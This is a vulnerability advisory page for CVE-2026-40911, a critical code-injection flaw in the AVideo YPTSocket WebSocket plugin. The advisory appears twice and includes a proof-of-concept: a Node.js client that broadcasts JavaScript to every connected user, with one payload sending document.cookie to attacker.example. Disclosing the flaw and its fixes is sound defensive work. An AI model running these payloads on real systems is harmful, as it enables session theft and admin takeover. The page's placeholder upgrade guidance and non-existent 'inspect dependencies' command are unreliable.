CVE-2026-40911: Wwbn/avideo WWBN AVideo YPTSocket WebSocket Broadcast Vulnerability

CRITICAL
Advisory Identifier: GHSA-gph2-j4c9-vhhr
CVSS 10.0
CWE-94
Published
Advisory Summary

CVE-2026-40911 is a CRITICAL (CVSS 10.0) wwbn avideo yptsocket websocket broadcast vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves wwbn avideo yptsocket websocket broadcast relay leads to unauthenticated cross-user javascript execution via client-side eval() sinks. Remediation is available in the latest vendor maintenance releases.

CVE-2026-40911 at a Glance

CVE Identifier CVE-2026-40911
GHSA Identifier GHSA-gph2-j4c9-vhhr
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40911

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40911, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution. ## Details ### Token issuance is unauthenticated `plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled: ```php if(!AVideoPlugin::isEnabledByName("YPTSocket")){ $obj->msg = "Socket plugin not enabled"; die(json_encode($obj)); } $obj->error = false; $obj->webSocketToken = getEncryptedInfo(0); $obj->webSocketURL = YPTSocket::getWebSocketURL(); ``` `getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server's `onOpen` handler (`Message.php:44-52`) solely by successful decryption — there is no requirement for the connecting principal to be authenticated. ### Server relays attacker JSON verbatim `plugin/YPTSocket/Message.php:191-245` — the default branch of `onMessage` only rewrites `from_identification`: ```php public function onMessage(ConnectionInterface $from, $msg) { ... $json = _json_decode($msg); if (empty($json->webSocketToken)) { return false; } if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; } switch ($json->msg) { ... default: $this->msgToArray($json); if (isset($json['from_identification'])) { $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? '')); } ... } else { $this->msgToAll($from, $json); // broadcast } break; } } ``` `msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload: ```php if (isset($msg['callback'])) { $obj['callback'] = $msg['callback']; // tainted ... } ... } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim } ``` `$obj` is JSON-encoded at line 335 and sent to every connected client. ### Client-side sink #1: `autoEvalCodeOnHTML` → eval `plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`: ```js connWS.onmessage = function (e) { var json = JSON.parse(e.data); ... yptSocketResponse = json; parseSocketResponse(); ... }; ``` `parseSocketResponse()` at `script.js:545-569` reaches the sink: ```js async function parseSocketResponse() { const json = yptSocketResponse; ... if (json.msg?.autoEvalCodeOnHTML !== undefined) { eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled } ... } ``` ### Client-side sink #2: `json.callback` → eval `plugin/YPTSocket/script.js:91-95` — `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on("message", (data) => { … processSocketJson(data) })`): ```js if (json.callback) { var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; socketLog('Executing callback:', json.callback); eval(code); ... } ``` Because `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation. ## PoC Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs). **Step 1 — obtain a token anonymously** (no cookies, no auth): ```bash curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php' ``` Expected output (abbreviated): ```json {"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."} ``` **Step 2 — connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client: ```js const WebSocket = require('ws'); const TOKEN = '<token from step 1>'; const URL = '<webSocketURL from step 1>'; const ws = new WebSocket(URL, { rejectUnauthorized: false }); ws.on('open', () => { // Payload 1 — primary sink (raw WebSocket transport): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: { autoEvalCodeOnHTML: "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" + "alert('XSS as '+document.domain);" } })); // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: "p", callback: "alert(document.domain);window.x" })); }); ``` **Step 3 — observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's `script.js` — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser: - Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`. - Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == 'function') { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation. Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context. ## Impact A single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely: - Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies). - Privileged action execution on behalf of any admin who happens to be online — including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes. - Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials. - Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin. - The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin. ## Recommended Fix Multiple defense-in-depth layers are required: **1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`: ```diff - if (json.msg?.autoEvalCodeOnHTML !== undefined) { - eval(json.msg.autoEvalCodeOnHTML); - } ``` No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions. Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist: ```diff - if (json.callback) { - var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; - eval(code); - ... - } else { - myfunc = defaultCallback; - } + var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */]; + if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1 + && typeof window[json.callback] === 'function') { + myfunc = window[json.callback]; + const event = new CustomEvent(json.callback, { detail: _details }); + document.dispatchEvent(event); + } else { + myfunc = defaultCallback; + } ``` **2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg['msg']` verbatim: ```php // At top of default branch, after msgToArray: $ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */]; if (isset($json['msg']) && is_array($json['msg'])) { $json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS)); } // Similarly sanitize callback: if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) { unset($json['callback']); } ``` **3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all — the default branch of `onMessage` should require `$msgObj->isAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.

CVE-2026-40911 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-40911?
CVE-2026-40911 is a security vulnerability in Wwbn/avideo involving WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-40911?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-40911?
CVE-2026-40911 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-40911?
CVE-2026-40911 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Packagist dependencies for CVE-2026-40911?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gph2-j4c9-vhhr",
  "modified" : "2026-04-24T20:30:41Z",
  "published" : "2026-04-14T22:50:05Z",
  "aliases" : [ "CVE-2026-40911" ],
  "summary" : "WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks",
  "details" : "## Summary\n\nThe YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.\n\n## Details\n\n### Token issuance is unauthenticated\n\n`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\"YPTSocket\")){\n    $obj->msg = \"Socket plugin not enabled\";\n    die(json_encode($obj));\n}\n$obj->error = false;\n$obj->webSocketToken = getEncryptedInfo(0);\n$obj->webSocketURL = YPTSocket::getWebSocketURL();\n```\n\n`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server's `onOpen` handler (`Message.php:44-52`) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.\n\n### Server relays attacker JSON verbatim\n\n`plugin/YPTSocket/Message.php:191-245` — the default branch of `onMessage` only rewrites `from_identification`:\n\n```php\npublic function onMessage(ConnectionInterface $from, $msg) {\n    ...\n    $json = _json_decode($msg);\n    if (empty($json->webSocketToken)) { return false; }\n    if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }\n\n    switch ($json->msg) {\n        ...\n        default:\n            $this->msgToArray($json);\n            if (isset($json['from_identification'])) {\n                $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));\n            }\n            ...\n            } else {\n                $this->msgToAll($from, $json);  // broadcast\n            }\n            break;\n    }\n}\n```\n\n`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:\n\n```php\nif (isset($msg['callback'])) {\n    $obj['callback'] = $msg['callback'];  // tainted\n    ...\n}\n...\n} else if (!empty($msg['msg'])) {\n    $obj['msg'] = $msg['msg'];  // tainted — entire object forwarded verbatim\n}\n```\n\n`$obj` is JSON-encoded at line 335 and sent to every connected client.\n\n### Client-side sink #1: `autoEvalCodeOnHTML` → eval\n\n`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:\n\n```js\nconnWS.onmessage = function (e) {\n    var json = JSON.parse(e.data);\n    ...\n    yptSocketResponse = json;\n    parseSocketResponse();\n    ...\n};\n```\n\n`parseSocketResponse()` at `script.js:545-569` reaches the sink:\n\n```js\nasync function parseSocketResponse() {\n    const json = yptSocketResponse;\n    ...\n    if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n        eval(json.msg.autoEvalCodeOnHTML);   // <-- attacker-controlled\n    }\n    ...\n}\n```\n\n### Client-side sink #2: `json.callback` → eval\n\n`plugin/YPTSocket/script.js:91-95` — `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on(\"message\", (data) => { … processSocketJson(data) })`):\n\n```js\nif (json.callback) {\n    var code = \"if (typeof \" + json.callback + \" == 'function') { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n    socketLog('Executing callback:', json.callback);\n    eval(code);\n    ...\n}\n```\n\nBecause `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.\n\n## PoC\n\nPrerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).\n\n**Step 1 — obtain a token anonymously** (no cookies, no auth):\n\n```bash\ncurl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'\n```\n\nExpected output (abbreviated):\n```json\n{\"error\":false,\"msg\":\"\",\"webSocketToken\":\"<long encrypted token>\",\"webSocketURL\":\"wss://target.example:8888/?webSocketToken=<token>&...\"}\n```\n\n**Step 2 — connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client:\n\n```js\nconst WebSocket = require('ws');\nconst TOKEN = '<token from step 1>';\nconst URL   = '<webSocketURL from step 1>';\nconst ws = new WebSocket(URL, { rejectUnauthorized: false });\n\nws.on('open', () => {\n    // Payload 1 — primary sink (raw WebSocket transport):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: {\n            autoEvalCodeOnHTML:\n                \"fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));\" +\n                \"alert('XSS as '+document.domain);\"\n        }\n    }));\n\n    // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: \"p\",\n        callback: \"alert(document.domain);window.x\"\n    }));\n});\n```\n\n**Step 3 — observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's `script.js` — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:\n\n- Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.\n- Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == 'function') { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.\n\nAny administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.\n\n## Impact\n\nA single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely:\n\n- Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).\n- Privileged action execution on behalf of any admin who happens to be online — including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.\n- Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.\n- Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.\n- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.\n\n## Recommended Fix\n\nMultiple defense-in-depth layers are required:\n\n**1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`:\n\n```diff\n- if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n-     eval(json.msg.autoEvalCodeOnHTML);\n- }\n```\n\nNo legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.\n\nReplace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:\n\n```diff\n- if (json.callback) {\n-     var code = \"if (typeof \" + json.callback + \" == 'function') { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n-     eval(code);\n-     ...\n- } else {\n-     myfunc = defaultCallback;\n- }\n+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];\n+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1\n+     && typeof window[json.callback] === 'function') {\n+     myfunc = window[json.callback];\n+     const event = new CustomEvent(json.callback, { detail: _details });\n+     document.dispatchEvent(event);\n+ } else {\n+     myfunc = defaultCallback;\n+ }\n```\n\n**2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg['msg']` verbatim:\n\n```php\n// At top of default branch, after msgToArray:\n$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];\nif (isset($json['msg']) && is_array($json['msg'])) {\n    $json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));\n}\n// Similarly sanitize callback:\nif (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n    unset($json['callback']);\n}\n```\n\n**3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all — the default branch of `onMessage` should require `$msgObj->isAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40911"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:50:05Z",
    "nvd_published_at" : "2026-04-21T21:16:45Z"
  }
}